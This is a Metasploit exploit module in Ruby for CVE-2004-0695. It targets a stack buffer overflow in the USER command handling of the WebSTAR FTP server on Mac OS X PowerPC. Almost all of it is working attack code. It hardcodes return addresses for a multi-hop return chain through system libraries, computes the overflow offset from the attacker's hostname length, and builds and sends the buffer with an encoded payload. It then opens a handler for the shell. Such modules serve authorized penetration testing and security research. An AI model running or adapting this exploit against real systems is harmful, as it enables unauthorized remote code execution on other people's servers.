1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Ftp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'WebSTAR FTP Server USER Overflow',
16
        'Description' => %q{
17
          This module exploits a stack buffer overflow in the logging routine
18
          of the WebSTAR FTP server. Reliable code execution is
19
          obtained by a series of hops through the System library.
20
        },
21
        'Author' => [ 'ddz', 'hdm' ],
22
        'License' => MSF_LICENSE,
23
        'References' => [
24
          [ 'CVE', '2004-0695'],
25
          [ 'OSVDB', '7794'],
26
          [ 'BID', '10720'],
27

28
        ],
29
        'Privileged' => true,
30
        'Payload' => {
31
          'Space' => 300,
32
          'BadChars' => "\x00\x20\x0a\x0d",
33
          'Compat' =>
34
                        {
35
                          'ConnectionType' => "+find"
36
                        },
37
        },
38
        'Platform' => %w{osx},
39
        'Targets' => [
40
          [
41
            'Mac OS X 10.3.4-10.3.6',
42
            {
43
              'Platform' => 'osx',
44
              'Arch' => ARCH_PPC,
45
              'Rets' => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ],
46
            },
47
          ],
48
        ],
49
        'DisclosureDate' => '2004-07-13',
50
        'DefaultTarget' => 0,
51
        'Notes' => {
52
          'Reliability' => UNKNOWN_RELIABILITY,
53
          'Stability' => UNKNOWN_STABILITY,
54
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
        }
56
      )
57
    )
58

59
    register_options(
60
      [
61
        OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]),
62
      ], self
63
    )
64
  end
65

66
  # crazy dino 5-hop foo
67
  # $ret = pack('N', 0x9008dce0); # call $r28, jump r1+120
68
  # $r28 = pack('N', 0x90034d60); # getgid()
69
  # $ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30
70
  # $r30 = pack('N', 0x90023590); # call $r3
71

72
  def exploit
73
    connect
74

75
    # The offset to the return address is dependent on the length of our hostname
76
    # as the target system resolves it ( IP or reverse DNS ).
77
    mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])
78
    basel = 285 - mhost.length
79

80
    print_status("Trying target #{target.name}...")
81

82
    #  ret = 296
83
    # r25  = 260
84
    # r26  = 264
85
    # r27  = 268
86
    # r28  = 272
87
    # r29  = 276
88
    # r30  = 280
89
    # r31  = 284
90

91
    # r1+120 = 408
92

93
    buf = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)
94
    buf[basel + 24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120
95
    buf[basel, 4] = [ target['Rets'][1] ].pack('N') # getgid()
96
    buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30
97
    buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3
98
    buf << payload.encoded
99

100
    send_cmd(['USER', buf], true)
101
    send_cmd(['HELP'], true)
102

103
    handler
104
    disconnect
105
  end
106
end
107

108